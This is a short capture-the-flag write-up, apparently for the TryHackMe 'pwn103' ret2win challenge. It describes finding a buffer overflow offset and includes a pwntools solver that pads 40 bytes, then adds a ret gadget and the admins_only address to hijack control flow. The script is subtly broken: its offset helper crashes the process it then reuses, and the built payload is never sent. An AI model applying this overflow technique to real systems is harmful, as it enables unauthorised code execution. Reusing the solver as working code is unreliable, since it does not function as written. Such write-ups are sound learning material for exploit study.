03 Ret2Win

#thm #pwn

given the chall binary :
pwn103.pwn103

Disassamble in pwndbg, all functions :
Pasted image 20240301170937.png

We can see function admins_only , i assume this ret2win because in the main function. functions of admins_only not got returned. so we need overwrite the return value by buffer overflow.

Decompile in ghidra for main func:
Pasted image 20240301171101.png

We can see the function of general we go there because that is the vulnerably function.
Pasted image 20240301171239.png

To find offset :
Pasted image 20240301172841.png
Pasted image 20240301172850.png

Pasted image 20240301172918.png

And because the remote machine using ubuntu 16. we need to suply ret value, here is my solver :

import pwn
from pwn.toplevel import process

# p = pwn.remote('10.10.25.91','9003')
# pwn.context.log_level = 'debug'

def getoffset(p: process) -> int :
    find_offset = pwn.cyclic(100,n=8)
    p.sendlineafter(b'[pwner]: ',find_offset)
    p.wait()
    core = p.corefile
    offset = pwn.cyclic_find(core.read(core.rsp,8),n=8)
    return offset
    
pwn.context.binary = binary = pwn.ELF("pwn103.pwn103")
p = pwn.process('./pwn103.pwn103')

# because the vulnerably function is in general we need to put 3 to go to function general
p.sendlineafter(b': ',b'3')

payload = pwn.flat(
    # We know 40 using cyclic
    # *RBP  0x6161616161616165 ('eaaaaaaa')
    # *RSP  0x7fffffffd9f8 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
    # *RIP  0x401377 (general+185) ◂— ret
    # -----
    # pwndbg> cyclic -l faaaaaaa
    #  Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
    #  Found at offset 40
    b"A"*getoffset(p), 

    # Because of ubunmtu 16 we need suply ret gadget before putting functions admins_only address of a 'ret' instruction - needed for stack alignment
    # objdump -d pwn103.pwn103 | grep ret
    # 401016:       c3                      ret
    0x401016,

    # pwndbg> x admins_only
    # 0x401554 <admins_only>: 0xe5894855
    0x401554,
)

p.interactive()